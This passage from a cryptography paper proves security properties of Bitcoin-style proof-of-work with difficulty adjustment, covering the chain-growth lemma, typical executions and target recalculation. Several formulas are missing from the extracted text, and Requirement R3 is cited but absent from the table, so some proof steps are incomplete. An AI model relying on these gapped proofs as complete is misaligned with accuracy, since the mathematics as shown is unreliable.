definitions and lists all the constraints that they should satisfy.\n\n### Remark 3\n\nWe remark that for the actual parameterization of the parameters $$\\tau ,m,f$$ of Bitcoin5, i.e., $$\\tau =4,m=2016,f=0.03$$, vis-à-vis the constraints of Table 1, they can be satisfied for $$\\delta = 0.99, \\eta =0.268, \\theta =1.995,\\epsilon = 2.93\\cdot 10^{-8}$$, for $$\\gamma =1.281$$ and $$s = 2.71\\cdot 10^{5}$$. Given that s measures the number of rounds within which a fluctuation of $$\\gamma$$ may take place, we have that the constraints are satisfiable for a fluctuation of up to $$28\\%$$ every approximately 2 months (considering a round to last 18 s).\n\nTable 1.\n\nSystem parameters and requirements on them. The parameters are as follows: positive integers smL; positive reals $$f,\\gamma ,\\delta ,\\epsilon ,\\tau ,\\eta ,\\theta$$, where $$f,\\epsilon ,\\delta \\in (0,1),$$ and $$0<\\eta \\le 1\\le \\theta$$.\n\n $$n_r$$: number of honest parties mining in round r $$t_r$$: number of activated parties that are corrupted $$\\delta$$: advantage of honest parties, $$\\forall r (t_r/n_r<1-\\delta )$$ $$(\\gamma , s)$$: determines how the number of parties fluctuates across rounds, cf. Definition 1 f: probability at least one honest party succeeds in a round assuming $$n_0$$ parties and target $$T_0$$ (the protocol’s initialization parameters) $$\\tau$$: the dampening filter, see Definition 2 $$(\\eta ,\\theta )$$: lower and upper bound determining the goodness of an execution, cf. Definition 5 $$\\epsilon$$: quality of concentration of random variables in typical executions, cf. Definition 8 m: the length of an epoch in number of blocks L: the total run-time of the system [(R0)] $$\\forall r : t_r < (1-\\delta ) n_r$$ [(R1)] $$s\\ge \\frac{\\tau m}{f}+\\frac{m}{8\\tau f}$$ [(R2)] $$\\frac{\\delta }{2}\\ge 2\\epsilon +\\theta f$$ [(R4)] $$17(1+\\epsilon )\\theta \\le 8\\tau (\\gamma -{\\theta f})$$ [(R5)] $$9(1+\\epsilon )\\eta \\gamma ^2\\le 4(1-\\eta \\gamma f)$$ [(R6)] $$7\\theta (1-\\epsilon )(1-\\theta f)\\ge 8\\gamma ^2$$\n\n### 6.2 Chain-Growth Lemma\n\nWe now prove the Chain-growth lemma. This lemma appears already in , but it refers to number of blocks instead of difficulty. In the name “chain growth” appears for the first time and the authors explicitly state a chain-growth property.\n\nInformally, this lemma says that honest parties will make as much progress as how many POWs they obtain. Although simple to prove, the chain-growth lemma is very important, because it shows that no matter what the adversary does the honest parties will advance (in terms of accumulated difficulty) by at least the difficulty of the POWs they have acquired.\n\n### Lemma 1\n\nLet E be any execution. Suppose that at round u an honest party has a chain of difficulty d. Then, by round $$v+1\\ge u$$, every honest party will have received a chain of difficulty at least $$\\,d+\\sum _{r=u}^vD_r(E)$$.\n\n### Proof\n\nBy induction on $$v-u$$. For the basis, $$v+1=u$$ and $$\\,d+\\sum _{r=u}^vD_r(E)=d$$. Observe that if at round u an honest party has a chain $$\\mathcal {C}$$ of difficulty d, then that party broadcast $$\\mathcal {C}$$ at a round earlier than u. It follows that every honest party will receive $$\\mathcal {C}$$ by round u.\n\nFor the inductive step, note that by the inductive hypothesis every honest party has received a chain of difficulty at least $$d'=d+\\sum _{r=u}^{v-1}D_r$$ by round v. When $$D_v=0$$ the statement follows directly, so assume $$D_v>0$$. Since every honest party queried the oracle with a chain of difficulty at least $$d'$$ at round v, if follows that an honest party successful at round v broadcast a chain of difficulty at least $$d'+D_v=d+\\sum _{r=u}^vD_r$$. $$\\square$$\n\n### 6.3 Typical Executions: Definition and Related Proofs\n\nWe can now define formally our notion of typical executions. Intuitively, the idea that this definition captures is as follows. Suppose that we examine a certain execution E. Note that at each round of E the parties perform Bernoulli trials with success probabilities possibly affected by the adversary. Given the execution, these trials are determined and we may calculate the expected progress the parties make given the corresponding probabilities. We then compare this value to the actual progress and if the difference is reasonable we declare E typical. Note, however, that considering this difference by itself will not always suffice, because the variance of the process might be too high. Our definition, in view of Theorem 6, says that either the variance is high with respect to the set of rounds we are considering, or the parties have made progress during these rounds as expected.\n\nBeyond the behavior of random variables described above, a typical execution will also be characterized by the absence of a number of bad events about the underlying hash function $$H(\\cdot )$$ which is used in proofs of work and is modeled as a random oracle. The bad events that are of concern to us are defined as follows; (recall that a block’s creation time is the round that it has been successfully produced by a query to the random oracle either by the adversary or an honest party).\n\n### Definition 7\n\nAn insertion occurs when, given a chain $$\\mathcal {C}$$ with two consecutive blocks B and $$B'$$, a block $$B^$$ created after $$B'$$ is such that $$B,B^,B'$$ form three consecutive blocks of a valid chain. A copy occurs if the same block exists in two different positions. A prediction occurs when a block extends one with later creation time.\n\nGiven the above we are now ready to specify what is a typical execution.\n\n### Definition 8\n\n(Typical execution). An execution E is $$(\\epsilon ,\\eta ,\\theta )$$-typical if the following hold:\n1. (a)\nIf, for any set S of consecutive rounds, $$pT^{(S,\\eta )}\\sum _{r\\in S}n_r\\ge \\frac{\\eta m}{16\\tau \\gamma }$$, then\n\\begin{aligned}\\begin{gathered} \\sum _{r\\in S}Q_r(E)\\ge \\sum _{r\\in S}\\mathbf {E}[Q_r\|\\mathcal {E}_{r-1}=E_{r-1}] -\\epsilon (1-\\theta f)p\\sum _{r\\in S}n_r \\\\ \\text { and } \\sum _{r\\in S}D_r(E)\\le (1+\\epsilon )p\\sum _{r\\in S}n_r. \\end{gathered}\\end{aligned}\n\n2. (b)\nFor any set J indexing a set of consecutive queries of the adversary we have\n\\begin{aligned} \\sum _{j\\in J}A_j(E)\\le (1+\\epsilon )2^{-\\kappa }\|J\| \\end{aligned}\nand during these queries the blocks with targets (strictly) less than $$\\tau T^{\\smash {(J)}}$$ that the adversary has acquired are (strictly) less than $$\\frac{\\eta (1-\\epsilon )(1-\\theta f)}{32\\tau ^2\\gamma }\\cdot m$$.\n\n3. (c)\n\nNo insertions, no copies, and no predictions occurred in E.\n\n### Remark 4\n\nNote that if J indexes the queries of the adversary in a set S of consecutive rounds, then $$\|J\|=q\\sum _{r\\in S}t_r$$ and the inequality in Definition 8(b) reads $$\\sum _{j\\in J}A_j(E)\\le (1+\\epsilon )p\\sum _{r\\in S}t_r$$.\n\nThe next proposition simplify our applications of Definition 8(a).\n\n### Proposition 3\n\nAssume E is a typical execution in a $$(\\gamma ,s)$$-respecting environment. For any set S of consecutive rounds with $$\|S\|\\ge \\frac{m}{16\\tau f}$$,\n$$\\sum _{r\\in S}D_r\\le (1+\\epsilon )p\\sum _{r\\in S}n_r .$$\nIf in addition, E is $$(\\eta ,\\theta )$$-good, then\n$$\\sum _{r\\in S}Q_r\\ge (1-\\epsilon )(1-\\theta f)p\\sum _{r\\in S}n_r$$\nand any block computed by an honest party at any round r corresponds to target at least $$T^{(r,\\eta )}$$, and so contributes to the random variables $$D_r$$ and $$Q_r$$ (if the r was uniquely successful).\n\n### Proof\n\nWe first partition S into several parts with size at least $$\\frac{m}{16\\tau f}$$ and at most s. In view of Proposition 2, for both of the inequalities, we only need to verify the ‘if’ part of Definition 8(a) for each part $$S'$$ of S. Indeed, by the definition of $$T^{(S',\\eta )}$$ and Fact 1, $$pT^{(S',\\eta )}\\sum _{r\\in S'}n_r\\ge \\eta f\|S'\|/\\gamma \\ge \\frac{\\eta m}{16\\tau \\gamma }$$. The last part, in view of the definition of $$T^{(r,\\eta )}$$, is equivalent to r being $$(\\eta ,\\theta )$$-good. $$\\square$$\n\nAlmost all polynomially bounded executions (in $$\\kappa$$) are typical:\n\n### Proposition 4\n\nAssuming the ITM system $$(\\mathcal {Z},C)$$ runs for L steps, the event “$$\\mathcal {E}\\hbox { is not typical}$$” is bounded by $$\\exp (- \\varOmega (\\min \\{m,\\kappa \\}) + \\ln L)$$. Specifically, the bound is $$\\exp \\bigl \\{-\\frac{\\eta \\epsilon ^2(1-2\\delta )m}{64\\tau ^3\\gamma }+2(\\ln L +\\ln 2)\\bigr \\}+2^{-\\kappa +1+2\\log L}$$.\n\n### Proof\n\nSee the full version. $$\\square$$\n\n### Lemma 2\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. If $$E_{r}$$ is $$(\\eta ,\\theta )$$-good, then $$\\mathcal {S}_{r+1}$$ contains no chain that has not been extended by an honest party for at least $$\\frac{m}{16\\tau f}$$ consecutive rounds.\n\n### Proof\n\nSuppose—towards a contradiction—$$\\mathcal {C}\\in \\mathcal {S}_{r+1}$$ and has not been extended by an honest party for at least $$\\frac{m}{16\\tau f}$$ rounds. Without loss of generality we may assume that $$r+1$$ is the first such round.\n\nLet $$r^\\le r$$ denote the greatest timestamp among the blocks of $$\\mathcal {C}$$ computed by honest parties ($$r^=0$$ if none exists). Define $$S=\\{r^+1,\\dots ,r\\}$$ with $$\|S\|\\ge \\frac{m}{16\\tau f}$$ and the index-set of the corresponding set of queries $$J=\\{1,\\dots ,q\\sum _{r\\in S}t_r\\}$$. Suppose that the blocks of $$\\mathcal {C}$$ with timestamps in S span k epochs with corresponding targets $$T_1,\\dots ,T_k$$. For $$i\\in [k]$$ let $$m_i$$ be the number of blocks with target $$T_i$$ and set $$M=m_1+\\cdots +m_k$$.\n\nOur plan is to contradict the assumption that $$\\mathcal {C}\\in \\mathcal {S}_{r+1}$$, by showing that the honest parties have accumulated more difficulty than the adversary. To be precise, note that the blocks $$\\mathcal {C}$$ has gained in S sum to $$\\sum _{i\\in [k]}\\frac{m_i}{T_i}$$ difficulty. On the other hand, by the Chain-Growth Lemma 1, all the honest parties have advanced during the rounds in S by $$\\sum _{r\\in S}D_r(E)\\ge \\sum _{r\\in S}Q_r(E)$$. Since $$\|S\|\\ge \\frac{m}{16\\tau f}$$, Proposition 3 implies that $$\\sum _{r\\in S}Q_r(E)$$ is at least $$(1-\\epsilon )(1-\\theta f)p\\sum _{r\\in S}n_r$$. Therefore, to obtain a contradiction, it suffices to show that\n\\begin{aligned} \\sum _{i\\in [k]}\\frac{m_i}{T_i}<(1-\\epsilon )(1-\\theta f)p\\sum _{r\\in S}n_r. \\end{aligned}\n(1)\nWe proceed by considering cases on M.\nFirst, suppose $$M\\ge 2M'$$, where $$M'=\\frac{\\eta (1-\\epsilon )(1-\\theta f)}{32\\tau ^2\\gamma }\\cdot m$$ (see Definition 8(b)). Partition the part of $$\\mathcal {C}$$ with these M blocks into $$\\ell$$ parts, so that each part has the following properties: (1) it contains at most one target-calculation point, and (2) it contains at least $$M'$$ blocks with the same target. Note that such a partition exists because $$M\\ge 2M'$$ and $$M'<m$$. For $$i\\in [\\ell ]$$, let $$j_i\\in J$$ be the index of the query during which the last block of the i-th part was computed. Set $$J_i=\\{j_{i-1}+1,\\dots ,j_i\\}$$, with $$j_0=0$$. Note that Definition 8(c) implies $$j_{i-1}<j_i$$, and this is a partition of J. Recalling Definition 8(b), the sum of the difficulties of all the blocks in the i-th part is at most $$\\sum _{j\\in J_i}A_j(E)$$. This holds because one of the targets is at least $$\\tau T^{(J_i)}$$ (since more than $$M'$$ blocks have been computed in $$J_i$$ with this target) and so both are at least $$\\smash {T^{(J_i)}}$$ (since targets with at most one calculation point between them can differ by a factor at most $$\\tau$$). Thus,\n$$\\sum _{i\\in [k]}\\frac{m_i}{T_i} \\le \\sum _{i\\in [\\ell ]\\atop j\\in J_i}A_j(E) \\le \\sum _{i\\in [\\ell ]}\\frac{1+\\epsilon }{2^\\kappa }\|J_i\| =(1+\\epsilon )p\\sum _{r\\in S}t_r <(1+\\epsilon )(1-\\delta )p\\sum _{r\\in S}n_r ,$$\nwhere in the last step we used Requirement (R0). Requirement (R1) implies $$(1+\\epsilon )(1-\\delta )\\le (1-\\epsilon )(1-\\theta f)$$); thus, Eq. (1) holds concluding the case $$M\\ge 2M'$$.\nOtherwise, $$k\\le 2$$ and $$m_1+m_2<2M'$$. Let $$S'$$ consist of the first $$\\frac{m}{16\\tau f}$$ rounds of S. We are going to argue that in this case Eq. (1) holds even for $$S'$$ in the place of S. Since we are in a $$(\\gamma ,s)$$-respecting environment, by Fact 1, $$\\gamma \\sum _{r\\in S'}n_r\\ge n_{r^}\|S'\|$$. Furthermore, since $$r^$$ is $$(\\eta ,\\theta )$$-good, $$T_1\\ge T^{(r^,\\eta )}=\\eta f/pn_{r^}$$. Recalling also that $$T_2\\ge T_1/\\tau$$, we have $$\\frac{m_1}{T_1}+\\frac{m_2}{T_2}\\le \\frac{m_1+\\tau m_2}{T_1}$$, which in turn is at most\n$$\\frac{\\tau M}{T^{(r^,\\eta )}} <\\frac{2\\tau M'pn_{r^}}{\\eta f} \\le \\frac{2\\tau \\gamma M'p\\sum _{r\\in S'}n_r}{\\eta f\|S'\|} \\le \\frac{32\\tau ^2\\gamma M'p\\sum _{r\\in S}n_r}{\\eta m}$$\nand, after substituting $$M'$$, Eq. (1) holds concluding this case and the proof. $$\\square$$\n\n### Corollary 1\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. If $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good, then $$E_{r}$$ is $$\\frac{m}{16\\tau f}$$-accurate.\n\n### Proof\n\nSuppose—towards a contradiction—that, for some $$r^\\le r$$, $$\\mathcal {C}\\in \\mathcal {S}_{r^}$$ contains a block which is not $$\\frac{m}{16\\tau f}$$-accurate and let $$u\\le r^\\le r$$ be the timestamp of this block and v its creation time. If $$u-v>\\frac{m}{16\\tau f}$$, then every honest party would consider $$\\mathcal {C}$$ to be invalid during rounds $$v,v+1,\\dots ,u$$. If $$v-u>\\frac{m}{16\\tau f}$$, then in order for $$\\mathcal {C}$$ to be valid it should not contain any honest block with timestamp in $$u,u+1,\\dots ,v$$. (Note that we are using Definition 8(c) here as a block could be inserted later.) In either case, $$\\mathcal {C}\\in \\mathcal {S}_{r^}$$, but has not been extended by an honest party for at least $$\\frac{m}{16\\tau f}$$ rounds. Since $$E_{r^-1}$$ is $$(\\eta ,\\theta )$$-good, the statement follows from Lemma 2. $$\\square$$\n\n### Lemma 3\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment and $$r^$$ an $$(\\eta \\gamma ,\\frac{\\theta }{\\gamma })$$-good target-recalculation point of a valid chain $$\\mathcal {C}$$. For $$r>r^+\\frac{\\tau m}{f}$$, assume $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good. Then, either the duration $$\\varDelta$$ of the epoch of $$\\mathcal {C}$$ starting at $$r^$$ satisfies\n\\begin{aligned} \\frac{m}{\\tau f}\\le \\varDelta \\le \\frac{\\tau m}{f}, \\end{aligned}\nor $$\\mathcal {C}\\notin \\mathcal {S}_u$$ for each $$u\\in \\{r^+\\frac{\\tau m}{f},\\ldots ,r\\}$$.\n\n### Proof\n\nLet T be the target of the epoch in question.\n\nFor the upper bound, assume $$\\varDelta >\\frac{\\tau m}{f}$$. We show first that in the rounds $$S=\\{r^+\\frac{m}{16\\tau f},\\dots ,r^+\\frac{\\tau m}{f}-\\frac{m}{16\\tau f}\\}$$ the honest parties have acquired more than $$\\frac{m}{T}$$ difficulty. Note that the rounds of S are $$(\\eta ,\\theta )$$-good as they come before r. Thus, by Proposition 3, the difficulty acquired in S by the honest parties is at least\n$$(1-\\epsilon )(1-\\theta f)p\\sum _{r\\in S}n_r \\ge (1-\\epsilon )(1-\\theta f)p\\cdot \\frac{\|S\|n_{r^}}{\\gamma }\\ge (1-\\epsilon )(1-\\theta f)\|S\|\\frac{\\eta f}{T} >\\frac{m}{T}.$$\nFor the first inequality, we used Fact 1. For the second, recall that $$r^$$ is -good and so $$pTn_{r^}\\ge f(T,n_{r^})\\ge \\eta \\gamma f$$. For the last inequality observe that and thus follows from Requirement (R3).\n\nNext, we observe that chain $$\\mathcal {C}$$ either has a block within the epoch in question that is computed by an honest party in a round within the period $$[r^,r^+\\frac{m}{16\\tau f})$$, or by Lemma 2, $$\\mathcal {C}\\notin \\mathcal {S}_u$$ for each $$u\\in \\{r^+\\frac{m}{16\\tau f},\\ldots ,r\\}\\supseteq \\{r^+\\frac{\\tau m}{f},\\ldots ,r\\}$$. Assuming the first happens, it follows that by round $$r^+\\frac{\\tau m}{f}-\\frac{m}{16\\tau f}$$ the honest parties’ chains have advanced by an amount of difficulty which exceeds the total difficulty of the epoch in question. This means that no honest party will extend $$\\mathcal {C}$$ during the rounds $$\\{r^+\\frac{\\tau m}{f}-\\frac{m}{16\\tau f}+1,\\dots ,\\varDelta \\}$$. Since it is assumed $$\\varDelta >r^+\\frac{\\tau m}{f}$$, Lemma 2 can then be applied to imply that $$\\mathcal {C}\\notin \\mathcal {S}_u$$ for $$u\\in \\{r^+\\frac{\\tau m}{f},\\dots ,r\\}$$.\n\nFor the lower bound, we assume $$\\varDelta <\\frac{m}{\\tau f}$$ and that $$\\mathcal {C}\\in \\mathcal {S}_u$$ for some $$u\\in \\{r^+\\varDelta +1,\\dots ,r\\}$$, and seek a contradiction. Clearly, the honest parties contributed only during the set of rounds $$S=\\{r^,\\dots ,r^+\\varDelta \\}$$. The adversary, by Lemma 2, may have contributed only during $$S'=\\{r^-\\frac{m}{16\\tau f},\\dots ,r^+\\varDelta +\\frac{m}{16\\tau f}\\}$$. Let J be the set of queries available to the adversary during the rounds in $$S'$$. We show that in a typical execution the honest parties together with the adversary cannot acquire difficulty $$\\frac{m}{T}$$ in the rounds in the sets S and $$S'$$ respectively. With respect to the honest parties, Proposition 3 applies. Regarding the adversary, assume first $$T\\ge T^{(J)}$$ (it is not hard to verify that the case $$T<T^{(J)}$$ leads to a more favorable bound). It follows that the total difficulty contributed to the epoch is at most\n$$(1+\\epsilon )p\\biggl (\\sum _{r\\in S}n_r+\\sum _{r\\in S'}t_r\\biggr ) \\le (1+\\epsilon )p\\gamma n_{r^}(\|S\|+\|S'\|) <(1+\\epsilon )p\\gamma n_{r^}\\cdot \\frac{17m}{8\\tau f} .$$\nThe first inequality follows from Fact 1 using $$t_r<(1-\\delta )n_r$$. For the second substitute the upper bounds on the sizes of S and $$S'$$. Next, note that $$r^$$ is an -good recalculation point and so . By Proposition 1, . It follows that the last displayed quantity is at most $$\\frac{17(1+\\epsilon )\\theta }{8\\tau (\\gamma -{\\theta f})}\\cdot \\frac{m}{T}$$ and recalling Requirement (R4) this less than $$\\frac{m}{T}$$ as desired. $$\\square$$\n\n### Proposition 5\n\nAssume E is a typical execution in a $$(\\gamma ,s)$$-respecting environment. Consider a round r and a set of consecutive rounds S with $$\|S\|\\ge \\frac{m}{32\\tau ^2f}$$. If $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good, then the adversary, during the rounds in S, has contributed at most $$(1-\\delta )(1+\\epsilon )p\\sum _{r\\in S}n_r$$ difficulty to $$\\mathcal {S}_r$$.\n\n### Proof\n\nWithout loss of generality, we will assume in this proof that $$t_r=(1-\\delta )n_r$$ for each $$r\\in S$$. Furthermore, we assume $$\|S\|\\le \\frac{\\tau m}{f}$$. If this is not the case, then we can partition S to parts of appropriate sizes and apply the arguments that follow to each sum. The statement will follow upon summing over all parts.\n\nBy Lemma 2, for any block B in $$\\mathcal {S}_r$$, there is a block in the same chain and computed at most $$\\frac{m}{16\\tau f}$$ rounds earlier than it. By Lemma 3, there is at most one recalculation point between them. Let u be the round the honest party computed this block and T its target. Note that since E is $$(\\eta ,\\theta )$$-good, $$T\\ge T^{(u,\\eta )}=\\frac{\\eta f}{pn_u}$$ and the target of B is at least $$\\tau ^{(-1)}T$$. We are going to show that, with J the set of queries that correspond to S, we have $$\\tau ^{-1}T\\ge T^{\\smash {(J)}}$$. This will suffice, because $$(1-\\delta )(1+\\epsilon )p\\sum _{r\\in S}n_r\\ge (1+\\epsilon )p\\sum _{r\\in S}t_r$$, and this is at least $$\\sum _{j\\in J}A_j$$ in a typical execution (Definition 8(b)).\n\nNote first that, using Fact 1 and the lower-bound on \|S\|,\n$$2^{-\\kappa }\|J\| =(1-\\delta )p\\sum _{r\\in S}n_r \\ge (1-\\delta )p\\frac{\|S\|n_u}{\\gamma }\\ge (1-\\delta )p\\frac{mn_u}{32\\tau ^3f\\gamma } .$$\nRecalling the definition of $$T^{(J)}$$ and using this bound,\n$$T^{(J)}=\\frac{\\eta (1-\\delta )(1-2\\epsilon )(1-\\theta f)}{32\\tau ^3\\gamma }\\cdot \\frac{m}{\|J\|}\\cdot 2^\\kappa \\le \\frac{\\eta f(1-2\\epsilon )(1-\\theta f)}{\\tau pn_u} <\\frac{T^{(u,\\eta )}}{\\tau }\\le \\frac{T}{\\tau },$$\nas desired. $$\\square$$\n\n### Lemma 4\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment and assume $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good. If $$\\mathcal {C}\\in \\mathcal {S}_r$$, then $$\\mathcal {C}$$ is -good in $$E_r$$.\n\n### Proof\n\nNote that it is our assumption that every chain is -good at the first round. Therefore, to prove the statement, it suffices to show that if a chain is -good at a recalculation point $$r^$$, then it will also be -good at then next recalculation point $$r^+\\varDelta$$.\n\nLet $$r^$$ and $$r^+\\varDelta \\le r$$ be two consecutive target-calculation points of a chain $$\\mathcal {C}$$ and T the target of the corresponding epoch. By Lemma 3 and Definition 2 of the target-recalculation function, the new target will be\n\\begin{aligned} T'=\\frac{\\varDelta }{m/f}\\cdot T, \\end{aligned}\nwhere $$\\varDelta$$ is the duration of the epoch.\nWe wish to show that\n\\begin{aligned} \\eta \\gamma f\\le f(T',n_{r^+\\varDelta })\\le {\\theta f}/\\gamma . \\end{aligned}\nTo this end, let $$S=\\{r^,\\dots ,r^+\\varDelta \\}$$, $$S'=\\bigl \\{\\max \\{0,r^-\\frac{m}{16\\tau f}\\},\\dots ,\\min \\{r^+\\varDelta +\\frac{m}{16\\tau f},r\\}\\bigr \\}$$, and let J index the queries available to the adversary in $$S'$$. Note that, by Corollary 1, every block in the epoch was computed either by an honest party during a round in S or by the adversary during a round in $$S'$$.\nSuppose—towards a contradiction—that $$f(T',n_{r^+\\varDelta })<\\eta \\gamma f$$. Using the definition of f(Tn), this implies $${qn_{r^+\\varDelta }}\\ln \\bigl (1-\\frac{T'}{2^\\kappa }\\bigr )>\\ln (1-\\eta \\gamma f).$$ Applying the inequality $$-\\frac{x}{1-x}<\\ln (1-x)<-x$$, valid for $$x\\in (0,1)$$, substituting the expression for $$T'$$ above and rearranging, we obtain\n\\begin{aligned} \\frac{m}{T}>\\frac{1-\\eta \\gamma f}{\\eta \\gamma }\\cdot p\\varDelta n_{r^+\\varDelta }. \\end{aligned}\nBy Propositions 3 and 5 it follows that\n$$\\frac{m}{T} \\le 2(1+\\epsilon )p\\sum _{r\\in S'}n_r \\le 2(1+\\epsilon )p\\cdot \\frac{\\varDelta +\\frac{m}{8\\tau f}}{\|S'\|}\\cdot \\sum _{r\\in S'}n_r.$$\nBy Lemma 3, $$\\varDelta \\ge \\frac{m}{\\tau f}$$. Thus, $$\\frac{\\varDelta +\\frac{m}{8\\tau f}}{\\varDelta }\\le \\frac{9}{8}$$. Using this, Requirement (R5), and combining the inequalities on $$\\frac{m}{T}$$,\n$$\\gamma n_{r^+\\varDelta } <\\frac{9(1+\\epsilon )\\eta \\gamma ^2}{4(1-\\eta \\gamma f)}\\cdot \\frac{1}{\|S'\|}\\sum _{r\\in S'}n_r \\le \\frac{1}{\|S'\|}\\sum _{r\\in S'}n_r,$$\nFor the upper bound, assume , which (see Proposition 1) implies\n\\begin{aligned} \\frac{m}{T}<\\frac{\\gamma }{\\theta }\\cdot p\\varDelta n_{r^+\\varDelta }. \\end{aligned}\nSet $$S=\\{r^+\\frac{m}{16\\tau f},\\dots ,r^+\\varDelta -\\frac{m}{16\\tau f}\\}$$. Since an honest party posses $$\\mathcal {C}$$ at round r, it follows by Lemma 2 that there is a block computed by an honest party in $$\\mathcal {C}$$ during $$\\{r^,\\dots ,r^+\\frac{m}{16\\tau f}-1\\}$$ and one during $$\\{r^+\\varDelta -\\frac{m}{16\\tau f}+1,\\dots ,r^+\\varDelta \\}$$. By the Chain-Growth Lemma 1, it follows that the honest parties computed less than $$\\frac{m}{T}$$ difficulty during S. In particular,\n$$\\frac{m}{T} >(1-\\epsilon )(1-\\theta f)p\\sum _{r\\in S}n_r \\ge (1-\\epsilon )(1-\\theta f)p\\cdot \\frac{\\varDelta -\\frac{m}{8\\tau f}}{\|S\|}\\cdot \\sum _{r\\in S}n_r .$$\nBy Lemma 3, $$\\varDelta \\ge \\frac{m}{\\tau f}$$. Thus, $$\\frac{\\varDelta -\\frac{m}{8\\tau f}}{\\varDelta }\\ge \\frac{7}{8}$$. Using this, Requirement (R6), and combining the inequalities on $$\\frac{m}{T}$$,\n$$\\frac{n_{r^+\\varDelta }}{\\gamma }>\\frac{7\\theta }{8\\gamma ^2}(1-\\epsilon )(1-\\theta f)\\cdot \\frac{1}{\|S\|}\\sum _{r\\in S}n_r \\ge \\frac{1}{\|S\|}\\sum _{r\\in S}n_r ,$$\ncontradicting Fact 1. $$\\square$$\n\n### Corollary 2\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment and $$E_{r-1}$$ be $$(\\eta ,\\theta )$$-good. If every chain in $$\\mathcal {S}_{r-1}$$ is $$(\\eta \\gamma ,\\smash {\\frac{\\theta }{\\gamma }})$$-good, then $$E_r$$ is $$(\\eta ,\\theta )$$-good.\n\n### Proof\n\nWe use notations and definitions of Lemma 3. Let $$\\mathcal {C}\\mathcal {S}_r$$ and let $$r^$$ be its last recalculation point in $$E_{r-1}$$. Let T be the target after $$r^$$ and $$T'$$ the one at r. We need to show that $$f(T',n_r)\\in [\\eta f,\\theta f]$$. Note that if r is a recalculation point, this follows by Lemma 4. Otherwise, $$T'=T$$ and $$\\eta \\gamma \\le f(T,n_{r^})\\le \\theta f/\\gamma$$. Using Lemma 3, $$r-r^\\le \\varDelta \\le \\frac{\\tau m}{f}$$. Thus, $$\\frac{1}{\\gamma }n_{r^}\\le n_r\\le \\gamma n_{r^}$$. By Fact 2 we have $$f(T,n_r)\\le f(T,\\gamma n_{r^})\\le \\gamma f(T,n_{r^})\\le \\theta f$$ and $$f(T,n_r)\\ge f(T,{\\textstyle \\frac{1}{\\gamma }}n_{r^})\\ge {\\textstyle \\frac{1}{\\gamma }}f(T,n_{r^})\\ge \\eta f.$$ $$\\square$$\n\n### Corollary 3\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Then every round is $$(\\eta ,\\theta )$$-good in E.\n\n### Proof\n\nFor the sake of contradiction, let r be the smallest round of E that is not $$(\\eta ,\\theta )$$-good. This means that there is a chain $$\\mathcal {C}$$ and an honest party that possesses this chain in round r and the corresponding target T is such that $$f(T,n_r) \\not \\in [\\eta f, \\theta f]$$. Note that $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good, and so, by Corollary 1, $$E_{r}$$ is $$\\frac{m}{16\\tau f}$$-accurate. Let $$r^<r$$ be the last -good recalculation point of $$\\mathcal {C}$$ (let $$r^$$ be 0 in case there is no such point).\n\nFirst suppose that there is another recalculation point $$r'\\in (r^,r]$$. By the definition of $$r^$$, $$r'$$ is not -good. However, the assumptions of Lemma 4 hold, implying that $$\\mathcal {C}$$ is -good. We have reached a contradiction.\n\nWe may now assume that there is no recalculation point in $$(r^,r]$$ and so the points $$r^$$ and r correspond to the same target T with $$\\eta \\gamma \\le f(T,n_{r^})\\le \\theta f/\\gamma$$. Note that since $$r^$$ is an -good recalculation point and $$E_{r-1}$$ is $$(\\eta ,\\theta )$$-good, we have $$r-r^\\le \\frac{\\tau m}{f}$$. This follows from Lemma 3, because $$\\mathcal {C}$$ belongs to an honest party at round r. Thus, $$\\frac{1}{\\gamma }n_{r^}\\le n_r\\le \\gamma n_{r^}$$, and so (by Fact 2) $$f(T,n_r)\\le f(T,\\gamma n_{r^})\\le \\gamma f(T,n_{r^})\\le \\theta f$$ and $$f(T,n_r)\\ge f(T,{\\textstyle \\frac{1}{\\gamma }}n_{r^})\\ge {\\textstyle \\frac{1}{\\gamma }}f(T,n_{r^})\\ge \\eta f.$$ $$\\square$$\n\n### Theorem 1\n\nA typical execution in a $$(\\gamma ,s)$$-respecting environment is $$\\frac{m}{16\\tau f}$$-accurate and $$(\\eta ,\\theta )$$-good.\n\n### Proof\n\nThis follows from Corollaries 3 and 1. $$\\square$$\n\n### Proposition 6\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Any $$\\frac{\\theta \\gamma m}{8\\tau }$$ consecutive blocks in an epoch of a chain $$\\mathcal {C}\\in \\mathcal {S}_r$$ have been computed in at least $$\\frac{m}{16\\tau f}$$ rounds.\n\n### Proof\n\nSuppose—towards a contradiction—that the blocks of $$\\mathcal {C}$$ where computed during the rounds in $$S^$$, for some $$S^$$ such that $$\|S^\|<\\frac{m}{16\\tau f}$$. Consider an S such that $$S^\\subseteq S$$ and $$\|S\|=\\frac{m}{16\\tau f}$$ and the property that a block of target T in $$\\mathcal {C}$$ was computed by an honest party in some round $$v\\in S$$. Such an S exists by Lemmas 2 and 3. By Propositions 3 and 5, the number of blocks of target T computed in S is at most\n$$(1+\\epsilon )(2-\\delta )pT\\sum _{u\\in S}n_u \\le (1+\\epsilon )(2-\\delta )pT\\gamma n_v\|S\| \\le \\frac{(1+\\epsilon )(2-\\delta )\\gamma \|S\|\\theta f}{1-\\theta f} \\le \\frac{\\theta \\gamma m}{8\\tau } .$$\nFor the first inequality we used Fact 1, for the second Fact 1 and that round v is $$(\\eta ,\\theta )$$-good, and for the last one Requirement (R2). $$\\square$$\n\nLet us say that two chains $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ diverge before round r, if the timestamp of the last block on their common prefix is less than r.\n\n### Lemma 5\n\nLet E be a typical execution in a $$(\\gamma ,s)$$-respecting environment. Any $$\\mathcal {C},\\mathcal {C}'\\in \\mathcal {S}_r$$ do not diverge before round $$r-\\frac{m}{16\\tau f}$$.\n\n### Proof\n\nConsider the last block on the common prefix of $$\\mathcal {C}$$ and $$\\mathcal {C}'$$ that was computed by an honest 